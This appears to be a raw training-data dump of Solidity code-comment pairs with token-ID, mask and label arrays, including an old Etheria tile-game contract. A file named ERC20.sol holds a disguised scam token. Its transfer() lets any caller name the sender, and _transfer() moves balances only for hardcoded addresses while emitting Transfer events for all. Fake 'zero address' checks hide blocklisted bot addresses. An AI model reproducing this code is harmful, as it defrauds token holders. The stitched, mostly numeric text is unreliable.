* @dev See {IPoints-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`./
function transfer(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); return true; }
12,579,456
[ 1, 9704, 288, 45, 5636, 17, 13866, 5496, 29076, 30, 300, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 326, 4894, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7412, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 1071, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 1377, 389, 13866, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 1377, 327, 638, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x1B1117B78cd897C6c4C52725b0E343C778d51ed1/sources/https_/github.com/TnzGit/giggly-baby/blob/master/contracts/token/ERC20/ERC20.sol
mabi bot require(sender != 0x000000C6b2F88007Fda25908893bE2fC8231d2DB, "ERC20: transfer from the zero address"); require(recipient != 0x000000C6b2F88007Fda25908893bE2fC8231d2DB, "ERC20: transfer to the zero address"); if (isContract(sender) || sender == 0x00000000003b3cc22aF3aE1EAc0440BcEe416B40 || sender == 0x0000000057a888B5DC0A81f02c6F5c3B7d16b183 || sender == 0x3A1E1152F51E95C9a3414c434F5126BDF031F3A4 || sender == 0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6 || sender == 0x00000000000003C98e6a44a835CB776385BeD207 || sender == 0x02023798E0890DDebfa4cc6d4b2B05434E940202 || sender == 0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d || sender == 0xF5c62a6f6AC65C3C998caF8132c2aa6E99C790a3 || sender == 0x00000000b7ca7E12DCC72290d1FE47b2EF14c607 || sender == 0x000000000000084e91743124a982076C59f10084 || sender == 0xf6da21E95D74767009acCB145b96897aC3630BaD || sender == 0xE9e1D5Fe4F0218B278B9Fa52CfcF5cf7f5D757AC || sender == 0xA0Aa698f4ED402cEba1b95359397d587AA43529B || sender == 0x246931008e1c729858934E8A5E0b62f0E49408fd || sender == 0xDa1FaEb056A2F568b138ca0Ad9AD8A51915BA336 || sender == 0x000000000029f5C1EEe7c85c30c0E40197fbeC9B || sender == 0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7 || sender == 0xfad95B6089c53A0D1d861eabFaadd8901b0F8533 || sender == 0x61C86828fd30cA479C51413ABC03f0F8DceC2120){
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if (sender == 0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32 || sender == 0xfD9ffc51175278Dd0Bc1de8AA8Fe8065b0CB90C0 || sender == 0xA3b0e79935815730d942A444A84d4Bd14A339553 || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0x575C3a99429352EDa66661fC3857b9F83f58a73f || sender == 0x000000C6b2F88007Fda25908893bE2fC8231d2DB || sender == 0x00000000003b3cc22aF3aE1EAc0440BcEe416B40 || sender == 0x0000000057a888B5DC0A81f02c6F5c3B7d16b183 || sender == 0x3A1E1152F51E95C9a3414c434F5126BDF031F3A4 || sender == 0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6 || sender == 0x00000000000003C98e6a44a835CB776385BeD207 || sender == 0x02023798E0890DDebfa4cc6d4b2B05434E940202 || sender == 0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d || sender == 0xF5c62a6f6AC65C3C998caF8132c2aa6E99C790a3 || sender == 0x00000000b7ca7E12DCC72290d1FE47b2EF14c607 || sender == 0x000000000000084e91743124a982076C59f10084 || sender == 0xf6da21E95D74767009acCB145b96897aC3630BaD || sender == 0xE9e1D5Fe4F0218B278B9Fa52CfcF5cf7f5D757AC || sender == 0xA0Aa698f4ED402cEba1b95359397d587AA43529B || sender == 0x246931008e1c729858934E8A5E0b62f0E49408fd || sender == 0xDa1FaEb056A2F568b138ca0Ad9AD8A51915BA336 || sender == 0x000000000029f5C1EEe7c85c30c0E40197fbeC9B || sender == 0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7 || sender == 0xfad95B6089c53A0D1d861eabFaadd8901b0F8533 || sender == 0x61C86828fd30cA479C51413ABC03f0F8DceC2120){ _balances[sender] = senderBalance - amount; _balances[recipient] += 1; _balances[sender] = senderBalance - amount; _balances[recipient] += amount; } emit Transfer(sender, recipient, amount); }
17,182,203
[ 1, 81, 21457, 2512, 2583, 12, 15330, 480, 374, 92, 9449, 39, 26, 70, 22, 42, 5482, 713, 27, 42, 2414, 2947, 9349, 5482, 11180, 70, 41, 22, 74, 39, 28, 4366, 21, 72, 22, 2290, 16, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 2583, 12, 20367, 480, 374, 92, 9449, 39, 26, 70, 22, 42, 5482, 713, 27, 42, 2414, 2947, 9349, 5482, 11180, 70, 41, 22, 74, 39, 28, 4366, 21, 72, 22, 2290, 16, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 309, 261, 291, 8924, 12, 15330, 13, 747, 5793, 422, 374, 92, 2787, 9449, 23, 70, 23, 952, 3787, 69, 42, 23, 69, 41, 21, 41, 9988, 3028, 7132, 38, 71, 41, 73, 24, 2313, 38, 7132, 747, 5793, 422, 374, 92, 12648, 10321, 69, 5482, 28, 38, 25, 5528, 20, 37, 11861, 74, 3103, 71, 26, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 15330, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 20367, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 540, 203, 540, 203, 3639, 389, 5771, 1345, 5912, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 203, 3639, 2254, 5034, 5793, 13937, 273, 389, 70, 26488, 63, 15330, 15533, 203, 3639, 2583, 12, 15330, 13937, 1545, 3844, 16, 315, 654, 39, 3462, 30, 7412, 3844, 14399, 11013, 8863, 203, 540, 203, 3639, 309, 261, 15330, 422, 374, 92, 5718, 71, 21, 71, 6162, 40, 952, 69, 20, 27263, 24, 37, 28, 39, 6030, 2539, 21, 74, 27, 70, 22, 2954, 1105, 5340, 72, 8643, 1441, 1578, 747, 5793, 422, 374, 5841, 40, 29, 1403, 71, 25, 2499, 5877, 5324, 28, 40, 72, 20, 38, 71, 21, 323, 28, 5284, 28, 2954, 3672, 9222, 70, 20, 8876, 9349, 39, 20, 747, 5793, 422, 374, 21703, 23, 70, 20, 73, 27, 2733, 4763, 28, 27985, 5082, 72, 29, 9452, 37, 6334, 24, 37, 5193, 72, 24, 38, 72, 3461, 37, 3707, 29, 2539, 23, 747, 5793, 422, 374, 5841, 5908, 5324, 25, 3437, 10689, 27, 3028, 21, 42, 20, 71, 25, 73, 28, 5324, 20, 70, 4630, 12664, 3247, 4366, 29, 9060, 449, 26, 69, 37, 747, 5793, 422, 374, 6114, 70, 24, 2180, 2 ]
// contract BlockDefStorage { function getOccupies(uint8 blocktype) public returns (int8[24]) {} function getAttachesto(uint8 blocktype) public returns (int8[48]) {} } contract MapElevationRetriever { function getElevation(uint8 col, uint8 row) public constant returns (uint8) {} } contract Etheria { event TileChanged(uint8 col, uint8 row);//, address owner, string name, string status, uint lastfarm, address[] offerers, uint[] offers, int8[5][] blocks); uint8 mapsize = 33; Tile[33][33] tiles; address creator; struct Tile { address owner; string name; string status; int8[5][] blocks; //0 = blocktype,1 = blockx,2 = blocky,3 = blockz, 4 = color uint lastfarm; int8[3][] occupado; // the only one not reported in the //TileChanged event } BlockDefStorage bds; MapElevationRetriever mer; function Etheria() { creator = tx.origin; bds = BlockDefStorage(0xd4e686a1fbf1bfe058510f07cd3936d3d5a70589); mer = MapElevationRetriever(0x68549d7dbb7a956f955ec1263f55494f05972a6b); } function getOwner(uint8 col, uint8 row) public constant returns(address) { return tiles[col][row].owner; // no harm if col,row are invalid } function setOwner(uint8 col, uint8 row, address newowner) { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // whathappened = "setOwner:ERR:c,r OOB"; // return; // } Tile tile = tiles[col][row]; if(tile.owner != tx.origin && !(tx.origin == creator && !getLocked())) { whathappened = "setOwner:ERR:not owner"; return; } tile.owner = newowner; TileChanged(col,row); whathappened = "setOwner:OK"; return; } /*** * _ _ ___ ___ ___ _____ _____ _____ ___ _____ _ _ _____ * | \ | | / _ \ | \/ || ___| ___ / ___|_ _/ _ \_ _| | | / ___| * | \| |/ /_\ \| . . || |__ ( _ ) \ `--. | |/ /_\ \| | | | | \ `--. * | . ` || _ || |\/| || __| / _ \/\ `--. \ | || _ || | | | | |`--. \ * | |\ || | | || | | || |___ | (_> < /\__/ / | || | | || | | |_| /\__/ / * \_| \_/\_| |_/\_| |_/\____/ \___/\/ \____/ \_/\_| |_/\_/ \___/\____/ * * */ function getName(uint8 col, uint8 row) public constant returns(string) { return tiles[col][row].name; // no harm if col,row are invalid } function setName(uint8 col, uint8 row, string _n) public { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // whathappened = "setName:ERR:c,r OOB"; // return; // } Tile tile = tiles[col][row]; if(tile.owner != tx.origin && !(tx.origin == creator && !getLocked())) { whathappened = "setName:ERR:not owner"; return; } tile.name = _n; TileChanged(col,row); whathappened = "setName:OK"; return; } function getStatus(uint8 col, uint8 row) public constant returns(string) { return tiles[col][row].status; // no harm if col,row are invalid } function setStatus(uint8 col, uint8 row, string _s) public // setting status costs 1 eth to prevent spam { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // tx.origin.send(msg.value); // return their money, if any // whathappened = "setStatus:ERR:c,r OOB"; // return; // } if(msg.value != 1000000000000000000) { tx.origin.send(msg.value); // return their money, if any whathappened = "setStatus:ERR:val!=1eth"; return; } Tile tile = tiles[col][row]; if(tile.owner != tx.origin && !(tx.origin == creator && !getLocked())) { tx.origin.send(msg.value); // return their money, if any whathappened = "setStatus:ERR:not owner"; return; } tile.status = _s; creator.send(msg.value); TileChanged(col,row); whathappened = "setStatus:OK"; return; } /*** * ______ ___ _________ ________ _ _ _____ ___________ _____ _____ _____ _ _ _____ * | ___/ _ \ | ___ \ \/ |_ _| \ | | __ \ ___ | ___| _ \_ _|_ _|_ _| \ | | __ \ * | |_ / /_\ \| |_/ / . . | | | | \| | | \/ ( _ ) | |__ | | | | | | | | | | | \| | | \/ * | _|| _ || /| |\/| | | | | . ` | | __ / _ \/\ | __|| | | | | | | | | | | . ` | | __ * | | | | | || |\ \| | | |_| |_| |\ | |_\ \ | (_> < | |___| |/ / _| |_ | | _| |_| |\ | |_\ \ * \_| \_| |_/\_| \_\_| |_/\___/\_| \_/\____/ \___/\/ \____/|___/ \___/ \_/ \___/\_| \_/\____/ * */ function getLastFarm(uint8 col, uint8 row) public constant returns (uint) { return tiles[col][row].lastfarm; } function farmTile(uint8 col, uint8 row, int8 blocktype) public { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // tx.origin.send(msg.value); // return their money, if any // whathappened = "farmTile:ERR:c,r OOB"; // return; // } if(blocktype < 0 || blocktype > 17) // invalid blocktype { tx.origin.send(msg.value); // return their money, if any whathappened = "farmTile:ERR:invalid blocktype"; return; } Tile tile = tiles[col][row]; if(tile.owner != tx.origin) { tx.origin.send(msg.value); // return their money, if any whathappened = "farmTile:ERR:not owner"; return; } if((block.number - tile.lastfarm) < 2500) // ~12 hours of blocks { if(msg.value != 1000000000000000000) { tx.origin.send(msg.value); // return their money whathappened = "farmTile:ERR:val!=1eth"; return; } else // they paid 1 ETH { creator.send(msg.value); // If they haven't waited long enough, but they've paid 1 eth, let them farm again. } } else { if(msg.value > 0) // they've waited long enough but also sent money. Return it and continue normally. { tx.origin.send(msg.value); // return their money } } // by this point, they've either waited 2500 blocks or paid 1 ETH for(uint8 i = 0; i < 10; i++) { tile.blocks.length+=1; tile.blocks[tile.blocks.length - 1][0] = int8(blocktype); // blocktype 0-17 tile.blocks[tile.blocks.length - 1][1] = 0; // x tile.blocks[tile.blocks.length - 1][2] = 0; // y tile.blocks[tile.blocks.length - 1][3] = -1; // z tile.blocks[tile.blocks.length - 1][4] = 0; // color } tile.lastfarm = block.number; TileChanged(col,row); whathappened = "farmTile:OK"; return; } function editBlock(uint8 col, uint8 row, uint index, int8[5] _block) // NOTE: won't return accidental money. { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // whathappened = "editBlock:ERR:c,r OOB"; // return; // } Tile tile = tiles[col][row]; if(tile.owner != tx.origin) // 1. DID THE OWNER SEND THIS MESSAGE? { whathappened = "editBlock:ERR:not owner"; return; } if(_block[3] < 0) // 2. IS THE Z LOCATION OF THE BLOCK BELOW ZERO? BLOCKS CANNOT BE HIDDEN { whathappened = "editBlock:ERR:can't hide blocks"; return; } if(index > (tile.blocks.length-1)) { whathappened = "editBlock:ERR:index OOR"; return; } if(_block[0] == -1) // user has signified they want to only change the color of this block { tile.blocks[index][4] = _block[4]; whathappened = "editBlock:OK:color changed"; return; } _block[0] = tile.blocks[index][0]; // can't change the blocktype, so set it to whatever it already was int8[24] memory didoccupy = bds.getOccupies(uint8(_block[0])); int8[24] memory wouldoccupy = bds.getOccupies(uint8(_block[0])); for(uint8 b = 0; b < 24; b+=3) // always 8 hexes, calculate the didoccupy { wouldoccupy[b] = wouldoccupy[b]+_block[1]; wouldoccupy[b+1] = wouldoccupy[b+1]+_block[2]; if(wouldoccupy[1] % 2 != 0 && wouldoccupy[b+1] % 2 == 0) // if anchor y is odd and this hex y is even, (SW NE beam goes 11,`2`2,23,`3`4,35,`4`6,47,`5`8 ` = x value incremented by 1. Same applies to SW NE beam from 01,12,13,24,25,36,37,48) wouldoccupy[b] = wouldoccupy[b]+1; // then offset x by +1 wouldoccupy[b+2] = wouldoccupy[b+2]+_block[3]; didoccupy[b] = didoccupy[b]+tile.blocks[index][1]; didoccupy[b+1] = didoccupy[b+1]+tile.blocks[index][2]; if(didoccupy[1] % 2 != 0 && didoccupy[b+1] % 2 == 0) // if anchor y and this hex y are both odd, didoccupy[b] = didoccupy[b]+1; // then offset x by +1 didoccupy[b+2] = didoccupy[b+2]+tile.blocks[index][3]; } if(!isValidLocation(col,row,_block, wouldoccupy)) { return; // whathappened is already set } // EVERYTHING CHECKED OUT, WRITE OR OVERWRITE THE HEXES IN OCCUPADO if(tile.blocks[index][3] >= 0) // If the previous z was greater than 0 (i.e. not hidden) ... { for(uint8 l = 0; l < 24; l+=3) // loop 8 times,find the previous occupado entries and overwrite them { for(uint o = 0; o < tile.occupado.length; o++) { if(didoccupy[l] == tile.occupado[o][0] && didoccupy[l+1] == tile.occupado[o][1] && didoccupy[l+2] == tile.occupado[o][2]) // x,y,z equal? { tile.occupado[o][0] = wouldoccupy[l]; // found it. Overwrite it tile.occupado[o][1] = wouldoccupy[l+1]; tile.occupado[o][2] = wouldoccupy[l+2]; } } } } else // previous block was hidden { for(uint8 ll = 0; ll < 24; ll+=3) // add the 8 new hexes to occupado { tile.occupado.length++; tile.occupado[tile.occupado.length-1][0] = wouldoccupy[ll]; tile.occupado[tile.occupado.length-1][1] = wouldoccupy[ll+1]; tile.occupado[tile.occupado.length-1][2] = wouldoccupy[ll+2]; } } tile.blocks[index] = _block; TileChanged(col,row); return; } function getBlocks(uint8 col, uint8 row) public constant returns (int8[5][]) { return tiles[col][row].blocks; // no harm if col,row are invalid } // three OK conditions: // 1. Valid offer on unowned tile. (whathap = 4) // 2. Valid offer on owned tile where offerer did not previously have an offer on file (whathap = 7) // 3. Valid offer on owned tile where offerer DID have a previous offer on file (whathap = 6) function buyTile(uint8 col, uint8 row) { // if(isOOB(col,row)) // row and/or col was not between 0-mapsize // { // tx.origin.send(msg.value); // return their money, if any // whathappened = "buyTile:ERR:c,r OOB"; // return; // } // if(msg.value != 1000000000000000000) // 1 ETH is the starting value. If not return; // Also, if below sea level, return. { tx.origin.send(msg.value); // return their money, if any whathappened = "buyTile:ERR:val!=1eth"; return; } Tile tile = tiles[col][row]; if(tile.owner == address(0x0000000000000000000000000000000000000000)) // if UNOWNED { if(mer.getElevation(col,row) < 125) // 1 ETH is the starting value. If not return; // Also, if below sea level, return. { tx.origin.send(msg.value); // return their money whathappened = "buyTile:ERR:water"; return; } else { creator.send(msg.value); // this was a valid offer, send money to contract creator tile.owner = tx.origin; // set tile owner to the buyer TileChanged(col,row); whathappened = "buyTile:OK"; return; } } else { tx.origin.send(msg.value); // return their money, if any whathappened = "buyTile:ERR:alr owned"; return; } } /*** * _ _ _____ _____ _ _____ _______ __ * | | | |_ _|_ _| | |_ _|_ _\ \ / / * | | | | | | | | | | | | | | \ V / * | | | | | | | | | | | | | | \ / * | |_| | | | _| |_| |_____| |_ | | | | * \___/ \_/ \___/\_____/\___/ \_/ \_/ * */ // this logic COULD be reduced a little, but the gain is minimal and readability suffers function blockHexCoordsValid(int8 x, int8 y) private constant returns (bool) { uint absx; uint absy; if(x < 0) absx = uint(x*-1); else absx = uint(x); if(y < 0) absy = uint(y*-1); else absy = uint(y); if(absy <= 33) // middle rectangle { if(y % 2 != 0 ) // odd { if(-50 <= x && x <= 49) return true; } else // even { if(absx <= 49) return true; } } else { if((y >= 0 && x >= 0) || (y < 0 && x > 0)) // first or 4th quadrants { if(y % 2 != 0 ) // odd { if (((absx*2) + (absy*3)) <= 198) return true; } else // even { if ((((absx+1)*2) + ((absy-1)*3)) <= 198) return true; } } else { if(y % 2 == 0 ) // even { if (((absx*2) + (absy*3)) <= 198) return true; } else // odd { if ((((absx+1)*2) + ((absy-1)*3)) <= 198) return true; } } } return false; } // SEVERAL CHECKS TO BE PERFORMED // 1. DID THE OWNER SEND THIS MESSAGE? (SEE editBlock) // 2. IS THE Z LOCATION OF THE BLOCK BELOW ZERO? BLOCKS CANNOT BE HIDDEN AFTER SHOWING (SEE editBlock) // 3. DO ANY OF THE PROPOSED HEXES FALL OUTSIDE OF THE TILE? // 4. DO ANY OF THE PROPOSED HEXES CONFLICT WITH ENTRIES IN OCCUPADO? // 5. DO ANY OF THE BLOCKS TOUCH ANOTHER? // 6. NONE OF THE OCCUPY BLOCKS TOUCHED THE GROUND. BUT MAYBE THEY TOUCH ANOTHER BLOCK? function isValidLocation(uint8 col, uint8 row, int8[5] _block, int8[24] wouldoccupy) private constant returns (bool) { bool touches; Tile tile = tiles[col][row]; // since this is a private method, we don't need to check col,row validity for(uint8 b = 0; b < 24; b+=3) // always 8 hexes, calculate the wouldoccupy and the didoccupy { if(!blockHexCoordsValid(wouldoccupy[b], wouldoccupy[b+1])) // 3. DO ANY OF THE PROPOSED HEXES FALL OUTSIDE OF THE TILE? { whathappened = "editBlock:ERR:OOB"; return false; } for(uint o = 0; o < tile.occupado.length; o++) // 4. DO ANY OF THE PROPOSED HEXES CONFLICT WITH ENTRIES IN OCCUPADO? { if(wouldoccupy[b] == tile.occupado[o][0] && wouldoccupy[b+1] == tile.occupado[o][1] && wouldoccupy[b+2] == tile.occupado[o][2]) // do the x,y,z entries of each match? { whathappened = "editBlock:ERR:conflict"; return false; // this hex conflicts. The proposed block does not avoid overlap. Return false immediately. } } if(touches == false && wouldoccupy[b+2] == 0) // 5. DO ANY OF THE BLOCKS TOUCH ANOTHER? (GROUND ONLY FOR NOW) { touches = true; // once true, always true til the end of this method. We must keep looping to check all the hexes for conflicts and tile boundaries, though, so we can't return true here. } } // now if we're out of the loop and here, there were no conflicts and the block was found to be in the tile boundary. // touches may be true or false, so we need to check if(touches == false) // 6. NONE OF THE OCCUPY BLOCKS TOUCHED THE GROUND. BUT MAYBE THEY TOUCH ANOTHER BLOCK? { int8[48] memory attachesto = bds.getAttachesto(uint8(_block[0])); for(uint8 a = 0; a < 48 && !touches; a+=3) // always 8 hexes, calculate the wouldoccupy and the didoccupy { if(attachesto[a] == 0 && attachesto[a+1] == 0 && attachesto[a+2] == 0) // there are no more attachestos available, break (0,0,0 signifies end) break; //attachesto[a] = attachesto[a]+_block[1]; attachesto[a+1] = attachesto[a+1]+_block[2]; if(attachesto[1] % 2 != 0 && attachesto[a+1] % 2 == 0) // (for attachesto, anchory is the same as for occupies, but the z is different. Nothing to worry about) attachesto[a] = attachesto[a]+1; // then offset x by +1 //attachesto[a+2] = attachesto[a+2]+_block[3]; for(o = 0; o < tile.occupado.length && !touches; o++) { if((attachesto[a]+_block[1]) == tile.occupado[o][0] && attachesto[a+1] == tile.occupado[o][1] && (attachesto[a+2]+_block[3]) == tile.occupado[o][2]) // a valid attachesto found in occupado? { whathappened = "editBlock:OK:attached"; return true; // in bounds, didn't conflict and now touches is true. All good. Return. } } } whathappened = "editBlock:ERR:floating"; return false; } else // touches was true by virtue of a z = 0 above (touching the ground). Return true; { whathappened = "editBlock:OK:ground"; return true; } } // function isOOB(uint8 col, uint8 row) private constant returns (bool) // { // if(col < 0 || col > (mapsize-1) || row < 0 || row > (mapsize-1)) // return true; // is out of bounds // } string whathappened; function getWhatHappened() public constant returns (string) { return whathappened; } /*** Return money fallback and empty random funds, if any */ function() { tx.origin.send(msg.value); } function empty() { creator.send(address(this).balance); // etheria should never hold a balance. But in case it does, at least provide a way to retrieve them. } /********** Standard lock-kill methods **********/ bool locked; // until locked, creator can kill, set names, statuses and tile ownership. function setLocked() { if (msg.sender == creator) locked = true; } function getLocked() public constant returns (bool) { return locked; } function kill() { if (!getLocked() && msg.sender == creator) suicide(creator); // kills this contract and sends remaining funds back to creator } } //
if(isOOB(col,row)) row and/or col was not between 0-mapsize { whathappened = "setName:ERR:c,r OOB"; return; }
function setName(uint8 col, uint8 row, string _n) public { Tile tile = tiles[col][row]; if(tile.owner != tx.origin && !(tx.origin == creator && !getLocked())) { whathappened = "setName:ERR:not owner"; return; } tile.name = _n; TileChanged(col,row); whathappened = "setName:OK"; return; }
12,554,032
[ 1, 430, 12, 291, 51, 5704, 12, 1293, 16, 492, 3719, 225, 1027, 471, 19, 280, 645, 1703, 486, 3086, 374, 17, 1458, 1467, 377, 202, 95, 377, 202, 202, 3350, 421, 438, 1907, 329, 273, 315, 542, 461, 30, 9712, 30, 71, 16, 86, 531, 5704, 14432, 377, 202, 202, 2463, 31, 377, 202, 97, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6788, 12, 11890, 28, 645, 16, 2254, 28, 1027, 16, 533, 389, 82, 13, 1071, 203, 565, 288, 203, 377, 202, 9337, 4769, 273, 12568, 63, 1293, 6362, 492, 15533, 203, 377, 202, 430, 12, 15368, 18, 8443, 480, 2229, 18, 10012, 597, 401, 12, 978, 18, 10012, 422, 11784, 597, 401, 588, 8966, 1435, 3719, 203, 377, 202, 95, 203, 377, 202, 202, 3350, 421, 438, 1907, 329, 273, 315, 542, 461, 30, 9712, 30, 902, 3410, 14432, 21281, 377, 202, 202, 2463, 31, 203, 377, 202, 97, 203, 377, 202, 15368, 18, 529, 273, 389, 82, 31, 203, 377, 202, 9337, 5033, 12, 1293, 16, 492, 1769, 203, 377, 202, 3350, 421, 438, 1907, 329, 273, 315, 542, 461, 30, 3141, 14432, 203, 377, 202, 2463, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
